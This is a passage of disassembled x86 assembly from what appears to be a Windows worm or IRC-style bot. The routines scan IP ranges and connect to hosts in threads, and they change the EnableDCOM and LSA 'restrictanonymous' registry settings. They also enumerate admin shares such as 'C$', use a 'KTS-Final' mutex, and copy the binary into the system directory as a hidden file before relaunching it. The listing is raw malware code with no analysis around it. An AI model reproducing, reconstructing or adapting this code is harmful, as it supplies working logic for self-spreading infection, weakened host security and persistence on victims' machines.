		jz	short loc_4067DC
		push	[ebp+arg_0]
		call	sub_4066DA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4067DC:				; CODE XREF: sub_406777+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_406777	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067E1	proc near		; DATA XREF: sub_4068AE+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A4h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_42D878	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_42D8F4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40689F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42D824	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_42F414[ecx], esi
		jz	short loc_40689F
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_42D900	; inet_ntoa
		push	eax
		mov	edi, offset dword_42E480
		push	offset unk_41D898
		push	edi
		call	sub_40C6C3
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_404555
		push	edi
		call	sub_403145
		add	esp, 28h


loc_40689F:				; CODE XREF: sub_4067E1+5Dj
					; sub_4067E1+7Ej
		push	esi
		call	dword_42D90C	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4067E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4068AE	proc near		; DATA XREF: sub_4077FD+1FD7o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_418040
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4068DC:				; CODE XREF: sub_4068AE+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_41D8C0
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_42F208
		push	eax
		call	sub_40C720
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_4067E1
		push	edi
		push	edi
		call	dword_418048	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_406948
		jmp	short loc_406943
; ---------------------------------------------------------------------------


loc_40693F:				; CODE XREF: sub_4068AE+98j
		push	32h
		call	esi	; Sleep


loc_406943:				; CODE XREF: sub_4068AE+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40693F


loc_406948:				; CODE XREF: sub_4068AE+8Dj
		push	[ebp+var_4]
		call	dword_41807C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_42D7BC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_42D874	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch
		jmp	loc_4068DC
sub_4068AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40699F	proc near		; DATA XREF: sub_4077FD+382Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4069E6
		call	sub_4069FF
		jmp	short loc_4069EB
; ---------------------------------------------------------------------------


loc_4069E6:				; CODE XREF: sub_40699F+3Ej
		call	sub_406D25


loc_4069EB:				; CODE XREF: sub_40699F+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40C378
		pop	ecx
		push	0
		call	dword_418050	; ExitThread
sub_40699F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069FF	proc near		; CODE XREF: sub_40699F+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_42D940, edi
		jnz	loc_406B31
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_42D8E4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406A8A
		mov	ax, word_41DBB8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_42D89C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_406A72
		push	offset unk_41DB84
		jmp	short loc_406A77
; ---------------------------------------------------------------------------


loc_406A72:				; CODE XREF: sub_4069FF+6Aj
		push	offset dword_41DB64


loc_406A77:				; CODE XREF: sub_4069FF+71j
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42D854	; RegCloseKey
		jmp	short loc_406A9D
; ---------------------------------------------------------------------------


loc_406A8A:				; CODE XREF: sub_4069FF+36j
		lea	eax, [ebp+var_214]
		push	offset unk_41DB30
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406A9D:				; CODE XREF: sub_4069FF+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_406ABC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406ABC:				; CODE XREF: sub_4069FF+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_403145
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_42D8E4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406B2A
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_42D89C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_406B12
		push	offset unk_41DADC
		jmp	short loc_406B17
; ---------------------------------------------------------------------------


loc_406B12:				; CODE XREF: sub_4069FF+10Aj
		push	offset unk_41DAA4


loc_406B17:				; CODE XREF: sub_4069FF+111j
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42D854	; RegCloseKey
		jmp	short loc_406B44
; ---------------------------------------------------------------------------


loc_406B2A:				; CODE XREF: sub_4069FF+E2j
		push	offset unk_41DA64
		jmp	short loc_406B36
; ---------------------------------------------------------------------------


loc_406B31:				; CODE XREF: sub_4069FF+13j
		push	offset unk_41DA30


loc_406B36:				; CODE XREF: sub_4069FF+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406B44:				; CODE XREF: sub_4069FF+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_406B63
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406B63:				; CODE XREF: sub_4069FF+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_403145
		cmp	dword_42D968, edi
		pop	ecx
		jnz	loc_406CE0
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_406B86:				; CODE XREF: sub_4069FF+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_42D7D4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_406C25
		cmp	eax, 0EAh
		jz	short loc_406C25
		xor	esi, esi


loc_406BB4:				; CODE XREF: sub_4069FF+21Fj
		push	off_41D8EC[esi]
		push	edi
		call	sub_4057B6
		pop	ecx
		pop	ecx
		push	off_41D8EC[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_406BD9
		push	offset unk_41DA0C
		jmp	short loc_406BDE
; ---------------------------------------------------------------------------


loc_406BD9:				; CODE XREF: sub_4069FF+1D1j
		push	offset unk_41D9DC


loc_406BDE:				; CODE XREF: sub_4069FF+1D8j
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_406C0B
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406C0B:				; CODE XREF: sub_4069FF+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_403145
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_406BB4
		jmp	loc_406CBD
; ---------------------------------------------------------------------------


loc_406C25:				; CODE XREF: sub_4069FF+1AAj
					; sub_4069FF+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_406CB4


loc_406C34:				; CODE XREF: sub_4069FF+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_40E6CC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_406CA9
		push	edi
		call	sub_4056A3
		push	eax
		push	0
		call	sub_4057B6
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_406C69
		push	offset unk_41D9B8
		jmp	short loc_406C6E
; ---------------------------------------------------------------------------


loc_406C69:				; CODE XREF: sub_4069FF+261j
		push	offset unk_41D988


loc_406C6E:				; CODE XREF: sub_4069FF+268j
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_406C9C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406C9C:				; CODE XREF: sub_4069FF+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_403145
		pop	ecx


loc_406CA9:				; CODE XREF: sub_4069FF+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_406C34
		xor	edi, edi


loc_406CB4:				; CODE XREF: sub_4069FF+22Fj
		push	[ebp+var_8]
		call	dword_42D904


loc_406CBD:				; CODE XREF: sub_4069FF+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_406B86
		lea	eax, [ebp+var_214]
		push	offset unk_41D960
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_406CF3
; ---------------------------------------------------------------------------


loc_406CE0:				; CODE XREF: sub_4069FF+177j
		lea	eax, [ebp+var_214]
		push	offset unk_41D92C
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406CF3:				; CODE XREF: sub_4069FF+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_406D11
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406D11:				; CODE XREF: sub_4069FF+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_403145
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_4069FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D25	proc near		; CODE XREF: sub_40699F:loc_4069E6p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_42D940, ebx
		push	esi
		jnz	loc_406E53
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_42D8E4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406DB0
		mov	ax, word_41DD3C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_42D89C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_406D98
		push	offset unk_41DD18
		jmp	short loc_406D9D
; ---------------------------------------------------------------------------


loc_406D98:				; CODE XREF: sub_406D25+6Aj
		push	offset dword_41DCF8


loc_406D9D:				; CODE XREF: sub_406D25+71j
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42D854	; RegCloseKey
		jmp	short loc_406DC3
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: sub_406D25+36j
		lea	eax, [ebp+var_220]
		push	offset unk_41DB30
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406DC3:				; CODE XREF: sub_406D25+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_406DE2
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406DE2:				; CODE XREF: sub_406D25+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_403145
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_42D8E4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406E4C
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_42D89C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_406E34
		push	offset unk_41DCB8
		jmp	short loc_406E39
; ---------------------------------------------------------------------------


loc_406E34:				; CODE XREF: sub_406D25+106j
		push	offset unk_41DC80


loc_406E39:				; CODE XREF: sub_406D25+10Dj
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42D854	; RegCloseKey
		jmp	short loc_406E66
; ---------------------------------------------------------------------------


loc_406E4C:				; CODE XREF: sub_406D25+E2j
		push	offset unk_41DC40
		jmp	short loc_406E58
; ---------------------------------------------------------------------------


loc_406E53:				; CODE XREF: sub_406D25+13j
		push	offset unk_41DA30


loc_406E58:				; CODE XREF: sub_406D25+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406E66:				; CODE XREF: sub_406D25+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_406E85
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406E85:				; CODE XREF: sub_406D25+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_403145
		cmp	dword_42D968, ebx
		pop	ecx
		jnz	loc_406FFC
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_406EA6:				; CODE XREF: sub_406D25+1EEj
		push	dword_41D8F0[esi]
		push	off_41D8EC[esi]
		push	ebx
		call	sub_40570A
		add	esp, 0Ch
		push	off_41D8EC[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_406ED2
		push	offset unk_41DC1C
		jmp	short loc_406ED7
; ---------------------------------------------------------------------------


loc_406ED2:				; CODE XREF: sub_406D25+1A4j
		push	offset unk_41DBF0


loc_406ED7:				; CODE XREF: sub_406D25+1ABj
		push	edi
		push	eax
		call	sub_40D3F7
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_406F00
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406F00:				; CODE XREF: sub_406D25+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_403145
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_406EA6
		call	dword_4180E4	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_406FE4


loc_406F28:				; CODE XREF: sub_406D25+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_406FD9
		cmp	bl, 41h
		jz	loc_406FD9
		movsx	esi, bl
		push	esi
		push	offset aC_0	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_40D3F7
		push	esi
		push	offset aC	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_40D3F7
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42D8D4	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_406FD9
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40570A
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_406F9D
		push	offset unk_41DC1C
		jmp	short loc_406FA2
; ---------------------------------------------------------------------------


loc_406F9D:				; CODE XREF: sub_406D25+26Fj
		push	offset unk_41DBF0


loc_406FA2:				; CODE XREF: sub_406D25+276j
		push	edi
		push	eax
		call	sub_40D3F7
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_406FCC
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_406FCC:				; CODE XREF: sub_406D25+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_403145
		pop	ecx


loc_406FD9:				; CODE XREF: sub_406D25+20Bj
					; sub_406D25+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_406F28


loc_406FE4:				; CODE XREF: sub_406D25+1FDj
		lea	eax, [ebp+var_220]
		push	offset unk_41DBBC
		push	eax
		call	sub_40C6C3
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_40700F
; ---------------------------------------------------------------------------


loc_406FFC:				; CODE XREF: sub_406D25+173j
		lea	eax, [ebp+var_220]
		push	offset unk_41D92C
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_40700F:				; CODE XREF: sub_406D25+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40702D
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_40702D:				; CODE XREF: sub_406D25+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_403145
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_406D25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407041	proc near		; CODE XREF: sub_40EB84+C9p

var_90C		= byte ptr -90Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_678		= byte ptr -678h
var_578		= byte ptr -578h
var_478		= byte ptr -478h
var_374		= byte ptr -374h
var_270		= byte ptr -270h
var_16C		= byte ptr -16Ch
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 90Ch
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_8], offset sub_403B83
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	edi, dword_41805C
		call	edi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_481BE8, eax
		call	edi	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		call	sub_4045F0
		push	2
		call	dword_42D920	; SetErrorMode
		push	7530h
		push	offset aKtsFinal ; "KTS-Final"
		push	esi
		push	esi
		call	dword_4180F8	; CreateMutexA
		push	eax
		call	dword_4180F4	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4070C6
		push	1
		call	dword_418074	; ExitProcess


loc_4070C6:				; CODE XREF: sub_407041+7Bj
		lea	eax, [ebp+var_808]
		push	eax
		push	202h
		call	dword_42D7FC	; WSAStartup
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jnz	loc_407523
		cmp	[ebp+var_808], 2
		jnz	loc_40751D
		xor	eax, eax
		mov	al, [ebp+var_807]
		cmp	al, 2
		jnz	loc_40751D
		mov	edi, 104h
		lea	eax, [ebp+var_374]
		push	edi
		push	eax
		call	dword_418088	; GetSystemDirectoryA
		lea	eax, [ebp+var_270]
		push	edi
		push	eax
		push	esi
		call	dword_418094	; GetModuleHandleA
		push	eax
		call	dword_41804C	; GetModuleFileNameA
		lea	eax, [ebp+var_578]
		push	eax
		lea	eax, [ebp+var_678]
		push	eax
		push	esi
		lea	eax, [ebp+var_270]
		push	esi
		push	eax
		call	sub_40E887
		lea	eax, [ebp+var_578]
		push	eax
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSS_3	; "%s%s"
		lea	eax, [ebp+var_478]
		push	edi
		push	eax
		call	sub_40D3F7
		lea	eax, [ebp+var_374]
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_40E4B0
		add	esp, 30h
		test	eax, eax
		jnz	loc_407324
		cmp	dword_41DE48, esi
		mov	edi, offset byte_41DF08
		jz	short loc_4071C8
		push	edi
		mov	[ebp+var_4], esi
		call	sub_40CBC0
		sub	eax, 4
		pop	ecx
		jz	short loc_4071C8


loc_40719F:				; CODE XREF: sub_407041+185j
		call	sub_40CB5F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_4]
		push	edi
		add	dl, 61h
		inc	[ebp+var_4]
		mov	byte_41DF08[eax], dl
		call	sub_40CBC0
		sub	eax, 4
		pop	ecx
		cmp	[ebp+var_4], eax
		jb	short loc_40719F


loc_4071C8:				; CODE XREF: sub_407041+14Dj
					; sub_407041+15Cj
		lea	eax, [ebp+var_374]
		push	edi
		push	eax
		lea	eax, [ebp+var_16C]
		push	offset aSS_2	; "%s\\%s"
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		lea	eax, [ebp+var_16C]
		push	eax
		call	dword_4180C0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407208
		lea	eax, [ebp+var_16C]
		push	80h
		push	eax
		call	dword_4180BC	; SetFileAttributesA


loc_407208:				; CODE XREF: sub_407041+1B3j
		mov	edi, dword_4180F0
		xor	ebx, ebx
		jmp	short loc_407234
; ---------------------------------------------------------------------------


loc_407212:				; CODE XREF: sub_407041+206j
		call	dword_418044	; RtlGetLastWin32Error
		cmp	ebx, esi
		jnz	short loc_407249
		cmp	eax, 20h
		jz	short loc_407226
		cmp	eax, 5
		jnz	short loc_407249


loc_407226:				; CODE XREF: sub_407041+1DEj
		xor	ebx, ebx
		push	3A98h
		inc	ebx
		call	dword_418040	; Sleep


loc_407234:				; CODE XREF: sub_407041+1CFj
		lea	eax, [ebp+var_16C]
		push	esi
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		call	edi	; CopyFileA
		test	eax, eax
		jz	short loc_407212


loc_407249:				; CODE XREF: sub_407041+1D9j
					; sub_407041+1E3j
		lea	eax, [ebp+var_16C]
		push	eax
		call	sub_405455
		pop	ecx
		lea	eax, [ebp+var_16C]
		push	7
		push	eax
		call	dword_4180BC	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40CC40
		push	44h
		lea	eax, [ebp+var_68]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40CC40
		mov	[ebp+var_68], edi
		xor	edi, edi
		inc	edi
		add	esp, 18h
		mov	[ebp+var_5C], offset byte_4242F0
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], si
		call	dword_4180EC	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	dword_4180DC	; OpenProcess
		lea	ecx, [ebp+var_270]
		push	ecx
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		lea	eax, [ebp+var_90C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		push	esi
		push	28h
		push	edi
		push	esi
		lea	eax, [ebp+var_90C]
		push	esi
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		call	dword_418078	; CreateProcessA
		test	eax, eax
		jz	short loc_407321
		push	0C8h
		call	dword_418040	; Sleep
		push	[ebp+var_20]
		mov	edi, dword_41807C
		call	edi	; CloseHandle
		push	[ebp+var_1C]
		call	edi	; CloseHandle
		call	dword_42D7E4	; WSACleanup
		push	esi
		call	dword_418074	; ExitProcess


loc_407321:				; CODE XREF: sub_407041+2B6j
		mov	ebx, [ebp+var_4]


loc_407324:				; CODE XREF: sub_407041+13Cj
		cmp	dword_481DD8, 2
		jle	short loc_407370
		mov	eax, dword_481DDC
		push	dword ptr [eax+4]
		call	sub_40D9BF
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	dword_4180F4	; WaitForSingleObject
		push	edi
		call	dword_41807C	; CloseHandle
		mov	eax, dword_481DDC
		cmp	[eax+8], esi
		jz	short loc_407370
		push	7D0h
		call	dword_418040	; Sleep
		mov	eax, dword_481DDC
		push	dword ptr [eax+8]
		call	dword_4180E8	; DeleteFileA


loc_407370:				; CODE XREF: sub_407041+2EAj
					; sub_407041+314j
		cmp	dword_41DE4C, esi
		jz	short loc_40738D
		cmp	dword_42D940, esi
